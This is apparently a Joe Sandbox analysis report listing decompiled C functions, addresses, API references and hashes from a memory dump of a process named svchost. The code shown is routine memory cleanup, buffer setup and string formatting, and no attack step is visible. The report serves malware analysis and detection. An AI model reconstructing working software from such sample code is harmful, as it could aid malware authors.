0x0401437e
0x0401414e
0x04014154
0x04014154
0x0401414c
0x00000000
0x04014140
0x0401443a
0x00000000
0x00000000
0x0401443c
0x040140f8
0x040140fb
0x040140fb
0x040140f6
0x00000000
0x04013ffe
0x00000000
0x04013ffc
0x04014445
0x00000000
0x00000000
0x00000000
0x04013f9b
0x00000000
0x04013f88
0x0401444b
0x04014451
0x04014451
0x00000000

APIs

_memcmp.LIBCMT ref: 04013FF2

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 4ab6c835b3a8d386f7d6cb5b157b7cd7d659ba90d45b0f81057a5aa373f928b3
Instruction ID: 1232f30742209602bb969d2521b285a9e46184637cee8bf4b984800216b21bdb
Opcode Fuzzy Hash: 4ab6c835b3a8d386f7d6cb5b157b7cd7d659ba90d45b0f81057a5aa373f928b3
Instruction Fuzzy Hash: 0EF125B0E04219DFDB14DFA8D894BEEBBB1BF48308F148119E415BB2A5D774AA41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04023C90 Relevance: 10.8, APIs: 7, Instructions: 281
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E04023C90(intOrPtr __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				intOrPtr _v128;
				intOrPtr _t210;
				void* _t213;
				void* _t324;

				_v100 = __ecx;
				if( *((intOrPtr*)(_v100 + 0x58)) != 0) {
					_v28 =  *((intOrPtr*)(_v100 + 0x58));
					_v24 = _v28;
					if(_v24 == 0) {
						_v104 = 0;
					} else {
						_v104 = E040050D0(_v24, 1);
					}
					 *((intOrPtr*)(_v100 + 0x58)) = 0x666;
				}
				if( *((intOrPtr*)(_v100 + 4)) != 0) {
					_v32 =  *((intOrPtr*)(_v100 + 4));
					E04020CC0(_v32);
					_t324 = _t324 + 4;
					 *((intOrPtr*)(_v100 + 4)) = 0x666;
				}
				if( *((intOrPtr*)(_v100 + 0x14)) != 0) {
					_v40 =  *((intOrPtr*)(_v100 + 0x14));
					_v36 = _v40;
					if(_v36 == 0) {
						_v108 = 0;
					} else {
						_v108 = E04005100(_v36, 1);
					}
					 *((intOrPtr*)(_v100 + 0x14)) = 0x666;
				}
				_t210 = _v100;
				if( *((intOrPtr*)(_t210 + 0x18)) != 0) {
					_v48 =  *((intOrPtr*)(_v100 + 0x18));
					_t210 = _v48;
					_v44 = _t210;
					if(_v44 == 0) {
						_v112 = 0;
					} else {
						_t210 = E04005130(_v44, 1);
						_v112 = _t210;
					}
					 *((intOrPtr*)(_v100 + 0x18)) = 0x666;
				}
				if( *((intOrPtr*)(_v100 + 0x20)) > 0) {
					_t210 = _v100;
					if( *((intOrPtr*)(_t210 + 0x1c)) != 0) {
						_v8 = 0;
						while(_v8 <  *((intOrPtr*)(_v100 + 0x20))) {
							if( *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x1c)) + _v8 * 4)) != 0) {
								_v56 =  *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x1c)) + _v8 * 4));
								_v52 = _v56;
								if(_v52 == 0) {
									_v116 = 0;
								} else {
									_v116 = E04005160(_v52, 1);
								}
								 *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x1c)) + _v8 * 4)) = 0x666;
							}
							_v8 = _v8 + 1;
						}
						_t210 = _v100;
						if( *((intOrPtr*)(_t210 + 0x1c)) != 0) {
							_v60 =  *((intOrPtr*)(_v100 + 0x1c));
							_t210 = E04020CC0(_v60);
							_t324 = _t324 + 4;
							 *((intOrPtr*)(_v100 + 0x1c)) = 0x666;
						}
					}
				}
				if( *((intOrPtr*)(_v100 + 0x2c)) > 0) {
					_t210 = _v100;
					if( *((intOrPtr*)(_t210 + 0x28)) != 0) {
						_v12 = 0;
						while(_v12 <  *((intOrPtr*)(_v100 + 0x2c))) {
							if( *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x28)) + _v12 * 4)) != 0) {
								_v68 =  *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x28)) + _v12 * 4));
								_v64 = _v68;
								if(_v64 == 0) {
									_v120 = 0;
								} else {
									_v120 = E04005190(_v64, 1);
								}
								 *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x28)) + _v12 * 4)) = 0x666;
							}
							_v12 = _v12 + 1;
						}
						_t210 = _v100;
						if( *((intOrPtr*)(_t210 + 0x28)) != 0) {
							_v72 =  *((intOrPtr*)(_v100 + 0x28));
							_t210 = E04020CC0(_v72);
							_t324 = _t324 + 4;
							 *((intOrPtr*)(_v100 + 0x28)) = 0x666;
						}
					}
				}
				if( *((intOrPtr*)(_v100 + 0x38)) > 0) {
					_t210 = _v100;
					if( *((intOrPtr*)(_t210 + 0x34)) != 0) {
						_v16 = 0;
						while(_v16 <  *((intOrPtr*)(_v100 + 0x38))) {
							if( *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x34)) + _v16 * 4)) != 0) {
								_v80 =  *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x34)) + _v16 * 4));
								_v76 = _v80;
								if(_v76 == 0) {
									_v124 = 0;
								} else {
									_v124 = E040051C0(_v76, 1);
								}
								 *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x34)) + _v16 * 4)) = 0x666;
							}
							_v16 = _v16 + 1;
						}
						_t210 = _v100;
						if( *((intOrPtr*)(_t210 + 0x34)) != 0) {
							_v84 =  *((intOrPtr*)(_v100 + 0x34));
							_t210 = E04020CC0(_v84);
							_t324 = _t324 + 4;
							 *((intOrPtr*)(_v100 + 0x34)) = 0x666;
						}
					}
				}
				if( *((intOrPtr*)(_v100 + 0x44)) > 0) {
					_t210 = _v100;
					if( *((intOrPtr*)(_t210 + 0x40)) != 0) {
						_v20 = 0;
						while(_v20 <  *((intOrPtr*)(_v100 + 0x44))) {
							if( *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x40)) + _v20 * 4)) != 0) {
								_v92 =  *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x40)) + _v20 * 4));
								_v88 = _v92;
								if(_v88 == 0) {
									_v128 = 0;
								} else {
									_v128 = E040051F0(_v88, 1);
								}
								 *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x40)) + _v20 * 4)) = 0x666;
							}
							_v20 = _v20 + 1;
						}
						_t210 = _v100;
						if( *((intOrPtr*)(_t210 + 0x40)) != 0) {
							_v96 =  *((intOrPtr*)(_v100 + 0x40));
							_t213 = E04020CC0(_v96);
							 *((intOrPtr*)(_v100 + 0x40)) = 0x666;
							return _t213;
						}
					}
				}
				return _t210;
			}

0x04023c96
0x04023ca0
0x04023ca8
0x04023cae
0x04023cb5
0x04023cc6
0x04023cb7
0x04023cc1
0x04023cc1
0x04023cd0
0x04023cd0
0x04023cde
0x04023ce6
0x04023ced
0x04023cf2
0x04023cf8
0x04023cf8
0x04023d06
0x04023d0e
0x04023d14
0x04023d1b
0x04023d2c
0x04023d1d
0x04023d27
0x04023d27
0x04023d36
0x04023d36
0x04023d3d
0x04023d44
0x04023d4c
0x04023d4f
0x04023d52
0x04023d59
0x04023d6a
0x04023d5b
0x04023d60
0x04023d65
0x04023d65
0x04023d74
0x04023d74
0x04023d82
0x04023d88
0x04023d8f
0x04023d95
0x04023da7
0x04023dbf
0x04023dcd
0x04023dd3
0x04023dda
0x04023deb
0x04023ddc
0x04023de6
0x04023de6
0x04023dfb
0x04023dfb
0x04023da4
0x04023da4
0x04023e04
0x04023e0b
0x04023e13
0x04023e1a
0x04023e1f
0x04023e25
0x04023e25
0x04023e0b
0x04023d8f
0x04023e33
0x04023e39
0x04023e40
0x04023e46
0x04023e58
0x04023e70
0x04023e7e
0x04023e84
0x04023e8b
0x04023e9c
0x04023e8d
0x04023e97
0x04023e97
0x04023eac
0x04023eac
0x04023e55
0x04023e55
0x04023eb5
0x04023ebc
0x04023ec4
0x04023ecb
0x04023ed0
0x04023ed6
0x04023ed6
0x04023ebc
0x04023e40
0x04023ee4
0x04023eea
0x04023ef1
0x04023ef7
0x04023f09
0x04023f21
0x04023f2f
0x04023f35
0x04023f3c
0x04023f4d
0x04023f3e
0x04023f48
0x04023f48
0x04023f5d
0x04023f5d
0x04023f06
0x04023f06
0x04023f66
0x04023f6d
0x04023f75
0x04023f7c
0x04023f81
0x04023f87
0x04023f87
0x04023f6d
0x04023ef1
0x04023f95
0x04023f9b
0x04023fa2
0x04023fa8
0x04023fba
0x04023fd2
0x04023fe0
0x04023fe6
0x04023fed
0x04023ffe
0x04023fef
0x04023ff9
0x04023ff9
0x0402400e
0x0402400e
0x04023fb7
0x04023fb7
0x04024017
0x0402401e
0x04024026
0x0402402d
0x04024038
0x00000000
0x04024038
0x0402401e
0x04023fa2
0x04024042

APIs

codecvt.LIBCPMTD ref: 04023CBC
codecvt.LIBCPMTD ref: 04023D22
codecvt.LIBCPMTD ref: 04023D60
codecvt.LIBCPMTD ref: 04023DE1
codecvt.LIBCPMTD ref: 04023E92
codecvt.LIBCPMTD ref: 04023F43
codecvt.LIBCPMTD ref: 04023FF4

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 481a094063eea0996d580fe575330a3dfc80b192d07c727697d1ca0252fb713b
Instruction ID: a3cb5fddb2616e01ffbd0549c63a57f7e4090b46a873f7d090d06a3cf8222b0d
Opcode Fuzzy Hash: 481a094063eea0996d580fe575330a3dfc80b192d07c727697d1ca0252fb713b
Instruction Fuzzy Hash: C5E18374A00328DFDB58CF94D998BADBBB2BF49308F244159D8096B391D776AD86CF40

Uniqueness

Uniqueness Score: -1.00%

Function 04024820 Relevance: 9.2, APIs: 6, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04024820(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, signed int _a4, signed int _a12) {
				intOrPtr* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _t114;
				intOrPtr _t119;
				void* _t121;
				signed char _t124;
				intOrPtr _t130;
				void* _t146;
				void* _t198;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t203;

				_t199 = __esi;
				_t198 = __edi;
				_t146 = __ebx;
				_v64 = __ecx;
				_v8 = 0;
				L1:
				while(_a4 >= 0) {
					_v28 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 4)) + 0x18));
					_v16 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 4)) + 0x14));
					if(_v28 != 0 && _v16 != 0) {
						_v20 =  *((intOrPtr*)( *((intOrPtr*)(_v16 + 4)) + _a4 * 4));
						if( *((intOrPtr*)(_v20 + 0xc)) != 0) {
							E040114D0( *_v64, _a4, 0, 1, _a12 & 0x000000ff);
							_t114 = E04020CE0(8);
							_t201 = _t200 + 4;
							_v36 = _t114;
							if(_v36 == 0) {
								_v68 = 0;
							} else {
								_v68 = E0401F4E0(_v36);
							}
							_v12 = _v68;
							E0401FC90(_t146, _v12, _t198, _t199,  *((intOrPtr*)(_v28 + 0x1c)), E040070A0( *((intOrPtr*)(_v28 + 0x1c))));
							_t119 = E04020CE0(8);
							_t203 = _t201 + 8;
							_v40 = _t119;
							if(_v40 == 0) {
								_v72 = 0;
							} else {
								_v72 = E0401F4E0(_v40);
							}
							_v24 = _v72;
							_t121 = E040070A0( *((intOrPtr*)(_v28 + 0x20)));
							_t200 = _t203 + 4;
							_t189 =  *((intOrPtr*)(_v28 + 0x20));
							E0401FC90(_t146, _v24, _t198, _t199,  *((intOrPtr*)(_v28 + 0x20)), _t121);
							while(1) {
								_t124 = E04015C60(_t146,  *_v64, _t189, _v12);
								_t190 = _t124 & 0x000000ff;
								if((_t124 & 0x000000ff) == 0) {
									break;
								}
								if((E04015C60(_t146,  *_v64, _t190, _v24) & 0x000000ff) != 0) {
									E040114D0( *_v64, _a4, 0, 0, _a12 & 0x000000ff);
									_v32 = E040246A0(_t146, _v64, _t198, _t199);
									if(_v32 != 0) {
										_t130 = E04020CE0(0x14);
										_t200 = _t200 + 4;
										_v44 = _t130;
										if(_v44 == 0) {
											_v76 = 0;
										} else {
											_v76 = E04006060(_v44);
										}
										_v8 = _v76;
										 *_v8 = E040242C0(_t146, _v64, _t198, _t199, _v12);
										 *((intOrPtr*)(_v8 + 4)) = E040243F0(_t146, _v64, _t198, _t199, _v12);
										 *((intOrPtr*)(_v8 + 8)) = E04024180(_t146, _v64, _t198, _t199, _v24);
										_t195 = _a12 & 0x000000ff;
										if((_a12 & 0x000000ff) == 0) {
											_t79 = _v20 + 0xc; // 0xc7077400
											 *((intOrPtr*)(_v8 + 0xc)) = E040240B0(_t146, _v64, _t195, _t198, _t199,  *_t79);
										}
										 *((intOrPtr*)(_v8 + 0x10)) = _v32;
										_t189 = 0;
										if(0 != 0) {
											continue;
										}
									} else {
									}
								} else {
								}
								L27:
								if(_v12 != 0) {
									_v52 = _v12;
									_v48 = _v52;
									if(_v48 == 0) {
										_v80 = 0;
									} else {
										_v80 = E04004EA0(_v48, 1);
									}
									_v12 = 0x666;
								}
								if(_v24 != 0) {
									_v60 = _v24;
									_v56 = _v60;
									if(_v56 == 0) {
										_v84 = 0;
									} else {
										_v84 = E04004EA0(_v56, 1);
									}
									_v24 = 0x666;
								}
								if(0 != 0) {
									goto L1;
								}
								goto L38;
							}
							goto L27;
						} else {
						}
					}
					L38:
					return _v8;
				}
				goto L38;
			}

0x04024820
0x04024820
0x04024820
0x04024826
0x04024829
0x00000000
0x04024830
0x04024844
0x04024850
0x04024857
0x04024870
0x0402487a
0x04024893
0x0402489a
0x0402489f
0x040248a2
0x040248a9
0x040248b8
0x040248ab
0x040248b3
0x040248b3
0x040248c2
0x040248df
0x040248e6
0x040248eb
0x040248ee
0x040248f5
0x04024904
0x040248f7
0x040248ff
0x040248ff
0x0402490e
0x04024918
0x0402491d
0x04024924
0x0402492b
0x04024930
0x04024939
0x0402493e
0x04024943
0x00000000
0x00000000
0x0402495d
0x04024976
0x04024983
0x0402498a
0x04024993
0x04024998
0x0402499b
0x040249a2
0x040249b1
0x040249a4
0x040249ac
0x040249ac
0x040249bb
0x040249cd
0x040249de
0x040249f0
0x040249f3
0x040249f9
0x040249fe
0x04024a0d
0x04024a0d
0x04024a16
0x04024a19
0x04024a1b
0x00000000
0x00000000
0x00000000
0x0402498c
0x00000000
0x0402495f
0x04024a21
0x04024a25
0x04024a2a
0x04024a30
0x04024a37
0x04024a48
0x04024a39
0x04024a43
0x04024a43
0x04024a4f
0x04024a4f
0x04024a5a
0x04024a5f
0x04024a65
0x04024a6c
0x04024a7d
0x04024a6e
0x04024a78
0x04024a78
0x04024a84
0x04024a84
0x04024a8d
0x00000000
0x00000000
0x00000000
0x04024a8d
0x00000000
0x00000000
0x0402487c
0x0402487a
0x04024a93
0x04024a99
0x04024a99
0x00000000

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f17c946a3c54a9cad3e83d6fdf94190c77b8b4620ad00b5b108f5948b5f234
Instruction ID: a5d7251e2747225a00ddcb09f2389310aff70beb4688250c6b3f934d2e6ae519
Opcode Fuzzy Hash: 97f17c946a3c54a9cad3e83d6fdf94190c77b8b4620ad00b5b108f5948b5f234
Instruction Fuzzy Hash: 0491C6B4E00229EFDB08DF94D594BAEBBB1BF88308F148059E9157B390DB75A941CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04021A50 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04021A91
_memset.LIBCMT ref: 04021AB5
_memset.LIBCMT ref: 04021B49
_memset.LIBCMT ref: 04021B62

Part of subcall function 040217B0: _memset.LIBCMT ref: 040217EA
Part of subcall function 040217B0: _memset.LIBCMT ref: 04021800
Part of subcall function 040217B0: _memset.LIBCMT ref: 0402181A

Strings

@, xrefs: 04021C38

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memset
String ID: @
API String ID: 2102423945-2766056989
Opcode ID: e94b19ba0fcb669e4e0cbc5759ced8619370a39b6899ccf5e07f60b5a10fbc88
Instruction ID: 01bcd26e004969603b563e094358f1b64e43344fbc446aa7b287e43a94b7a553
Opcode Fuzzy Hash: e94b19ba0fcb669e4e0cbc5759ced8619370a39b6899ccf5e07f60b5a10fbc88
Instruction Fuzzy Hash: 6B715EB4E002089BEB10DB94DD45BEDB7B5BF48308F5041A8E609BB2C1D6766E55CF68

Uniqueness

Uniqueness Score: -1.00%

Function 04013410 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E04013410(void* __ebx, intOrPtr* __ecx, void* __edx, intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				void _v60;
				void _v96;
				void* _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				void* _v116;
				intOrPtr _v120;
				void* _v124;
				intOrPtr* _v128;
				intOrPtr _v132;
				void* _v136;
				void* __edi;
				void* __esi;
				intOrPtr _t87;
				intOrPtr _t95;
				void* _t98;
				signed int _t142;
				void* _t143;
				void* _t145;

				_t98 = __ebx;
				_v12 =  *0x429024 ^ _t142;
				_v128 = __ecx;
				_v8 = 0;
				while(_a4 != 0) {
					memcpy( &_v60, 0x426ef4, 0xb << 2);
					asm("movsb");
					memcpy( &_v96, 0x426f24, 8 << 2);
					_t145 = _t143 + 0x18;
					asm("movsb");
					if( *(_a4 + 0x24) >= 0) {
						if( *((intOrPtr*)( *_v128 + 0x2c)) >  *(_a4 + 0x24)) {
							_v108 = E040070A0( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v128 + 0x28)) +  *(_a4 + 0x24) * 4)) + 0xc)));
							_v104 = _v108 + 0x1e;
							_v116 = E04020CE0(_v104 + 1);
							_v100 = _v116;
							E04007010(0x426f34, _v100, 0, _v104 + 1);
							 *0x4251f8(_v100, _v104 + 1,  &_v96,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v128 + 0x28)) +  *(_a4 + 0x24) * 4)) + 0xc)));
							_t87 = E04020CE0(8);
							_t143 = _t145 + 0x28;
							_v120 = _t87;
							if(_v120 == 0) {
								_v136 = 0;
							} else {
								_v136 = E0401F4E0(_v120);
							}
							_t133 = _v136;
							_v8 = _v136;
							E0401FC90(_t98, _v8, 0x426f34, 0x426f24, _v100, _v104);
							if(_v100 != 0) {
								_t133 = _v100;
								_v124 = _v100;
								E04020CC0(_v124);
								_t143 = _t143 + 4;
								_v100 = 0x666;
							}
							L15:
							if(0 != 0) {
								continue;
							}
							L16:
							return E04006C8C(_v8, _t98, _v12 ^ _t142, _t133, 0x426f34, 0x426f24);
						}
						goto L16;
					}
					_t95 = E04020CE0(8);
					_t143 = _t145 + 4;
					_v112 = _t95;
					if(_v112 == 0) {
						_v132 = 0;
					} else {
						_v132 = E0401F4E0(_v112);
					}
					_v8 = _v132;
					_t133 =  &_v60;
					E0401FC90(_t98, _v8, 0x426f34, 0x426f24,  &_v60, 0x2c);
					goto L15;
				}
				goto L16;
			}

0x04013410
0x04013420
0x04013425
0x04013428
0x0401342f
0x04013447
0x04013449
0x04013457
0x04013457
0x04013459
0x04013461
0x040134b1
0x040134d5
0x040134de
0x040134f0
0x040134f6
0x04013506
0x04013532
0x0401353d
0x04013542
0x04013545
0x0401354c
0x0401355e
0x0401354e
0x04013556
0x04013556
0x04013568
0x0401356e
0x0401357c
0x04013585
0x04013587
0x0401358a
0x04013591
0x04013596
0x04013599
0x04013599
0x040135a0
0x040135a2
0x00000000
0x00000000
0x040135a8
0x040135ba
0x040135ba
0x00000000
0x040134b3
0x04013465
0x0401346a
0x0401346d
0x04013474
0x04013483
0x04013476
0x0401347e
0x0401347e
0x0401348d
0x04013492
0x04013499
0x00000000
0x04013499
0x00000000

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04013479

Strings

$oB, xrefs: 0401344F

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::_std::_
String ID: $oB
API String ID: 370429920-3132252410
Opcode ID: 3f042deba27dbb9a6c53589dfe86891ceed2fc21ea38daa22f1df265e620214e
Instruction ID: ff111addb76ca9d35d31a8907435c4d95596588a54556616c049ff3552255213
Opcode Fuzzy Hash: 3f042deba27dbb9a6c53589dfe86891ceed2fc21ea38daa22f1df265e620214e
Instruction Fuzzy Hash: 5651FDB5E00218DFEB14DF98D984A9DB7B5FF48308F508169D9096B351D771B944CF81

Uniqueness

Uniqueness Score: -1.00%

Function 04011E70 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E04011E70(void* __ebx, intOrPtr __ecx, void* __eflags) {
				signed short _v8;
				signed short _v10;
				signed short _v12;
				signed short _v14;
				signed short _v16;
				signed short _v18;
				signed short _v20;
				signed int _v24;
				void _v60;
				intOrPtr _v64;
				signed int _v68;
				void _v120;
				intOrPtr _v124;
				void _v156;
				signed int _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				char _v352;
				intOrPtr _v356;
				void* __edi;
				void* __esi;
				void* _t95;
				signed int _t107;
				signed int _t141;

				_t95 = __ebx;
				_v24 =  *0x429024 ^ _t141;
				_v348 = __ecx;
				_v64 = 0;
				memcpy( &_v60, 0x426fdc, 8 << 2);
				asm("movsw");
				asm("movsb");
				memcpy( &_v156, 0x427000, 7 << 2);
				asm("movsb");
				memcpy( &_v120, 0x427020, 0xc << 2);
				asm("movsb");
				_v336 = E04020CE0(0x3d);
				_v124 = _v336;
				E04007010(0x427038, _v124, 0, 0x3d);
				 *0x425108( &_v332);
				 *0x425180( &_v20);
				asm("cdq");
				asm("cdq");
				_t107 = _v332 / 0x3c * 0x64 + _v332 % 0x3c;
				_v68 = _t107;
				if(_t107 < 0) {
					_v68 =  ~_v68;
				}
				if(_v332 > 0) {
					_v352 = 0x427058;
				} else {
					_v352 = 0x427054;
				}
				_t33 =  &_v352; // 0x427058
				 *0x4251f8(_v124, 0x3c,  &_v60, _t141 + (_v16 & 0x0000ffff) * 4 - 0x98, _v14 & 0x0000ffff, _t141 + (_v18 & 0x0000ffff) * 4 - 0x78, _v20 & 0x0000ffff, _v12 & 0x0000ffff, _v10 & 0x0000ffff, _v8 & 0x0000ffff,  *_t33, _v68);
				_v340 = E04020CE0(8);
				if(_v340 == 0) {
					_v356 = 0;
				} else {
					_v356 = E0401F4E0(_v340);
				}
				_v64 = _v356;
				_t125 = _v124;
				E0401FC90(_t95, _v64, 0x427038, 0x3c, _v124, E040070A0(_v124));
				if(_v124 != 0) {
					_v344 = _v124;
					_t125 = _v344;
					E04020CC0(_v344);
					_v124 = 0x666;
				}
				return E04006C8C(_v64, _t95, _v24 ^ _t141, _t125, 0x427038, 0x3c);
			}

0x04011e70
0x04011e80
0x04011e85
0x04011e8b
0x04011e9f
0x04011ea1
0x04011ea3
0x04011eb4
0x04011eb6
0x04011ec4
0x04011ec6
0x04011ed1
0x04011edd
0x04011ee8
0x04011ef7
0x04011f01
0x04011f0d
0x04011f20
0x04011f28
0x04011f2a
0x04011f2d
0x04011f34
0x04011f34
0x04011f3e
0x04011f4c
0x04011f40
0x04011f40
0x04011f40
0x04011f5a
0x04011f99
0x04011fac
0x04011fb9
0x04011fce
0x04011fbb
0x04011fc6
0x04011fc6
0x04011fde
0x04011fe1
0x04011ff5
0x04011ffe
0x04012003
0x04012009
0x04012010
0x04012018
0x04012018
0x04012031

APIs

_memset.LIBCMT ref: 04011EE8
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04011FC1
_strlen.LIBCMT ref: 04011FE5

Strings

XpB, xrefs: 04011F5A, 04011F60
pB, xrefs: 04011EBC

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::__memset_strlenstd::_
String ID: pB$XpB
API String ID: 3713721629-2178088481
Opcode ID: b650810ef28b1162b20fb2bb24cf354fa744417f5b86810a3d7f07fcca2c8c7f
Instruction ID: caac39b4c571324483d0a18a7aa4e44b6fb00a313373015349f42bda7133a820
Opcode Fuzzy Hash: b650810ef28b1162b20fb2bb24cf354fa744417f5b86810a3d7f07fcca2c8c7f
Instruction Fuzzy Hash: 1A513EB1E04228DBEB24DF95DC44BEEB7B5BB88308F1041A9E509BB290D7756A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04021460 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 040214CB
_memset.LIBCMT ref: 04021531
_memset.LIBCMT ref: 04021562

Strings

', xrefs: 040214D3
', xrefs: 04021483

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memset
String ID: '$'
API String ID: 2102423945-2527190458
Opcode ID: a325690150a5eb3ed6ffc346bd302d07b89a03f3d19550fdf211c07dc6659787
Instruction ID: 53bb57586c5e39befda5455b8bbd06f4bf2bc56d3601b69197fc609fafef56d8
Opcode Fuzzy Hash: a325690150a5eb3ed6ffc346bd302d07b89a03f3d19550fdf211c07dc6659787
Instruction Fuzzy Hash: 1C418171B04329EBEB20DFA0CC45FED77B4AB44704F804599B609BA1C0D7B5A644CF96

Uniqueness

Uniqueness Score: -1.00%

Function 040093F6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E040093F6(intOrPtr* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t23;
				intOrPtr _t28;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				E04009CE8(__ebx, __edi, __esi);
				_t23 =  *0x425190(0x425310, 0x427a18, 0xc);
				if(_t23 == 0) {
					_t23 = E040099AE(0x425310);
				}
				 *((intOrPtr*)(_t46 - 0x1c)) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x4259d0;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 =  *0x425114;
					 *((intOrPtr*)(_t45 + 0x1f8)) =  *_t35(_t23, 0x425300);
					_t6 = _t46 - 0x1c; // 0x42532c
					 *((intOrPtr*)(_t45 + 0x1fc)) =  *_t35( *_t6, 0x42532c);
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *((intOrPtr*)(_t45 + 0x68)) = 0x4294e8;
				E0400B404(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				 *0x4250a4( *((intOrPtr*)(_t45 + 0x68)));
				 *(_t46 - 4) = 0xfffffffe;
				E040094CB();
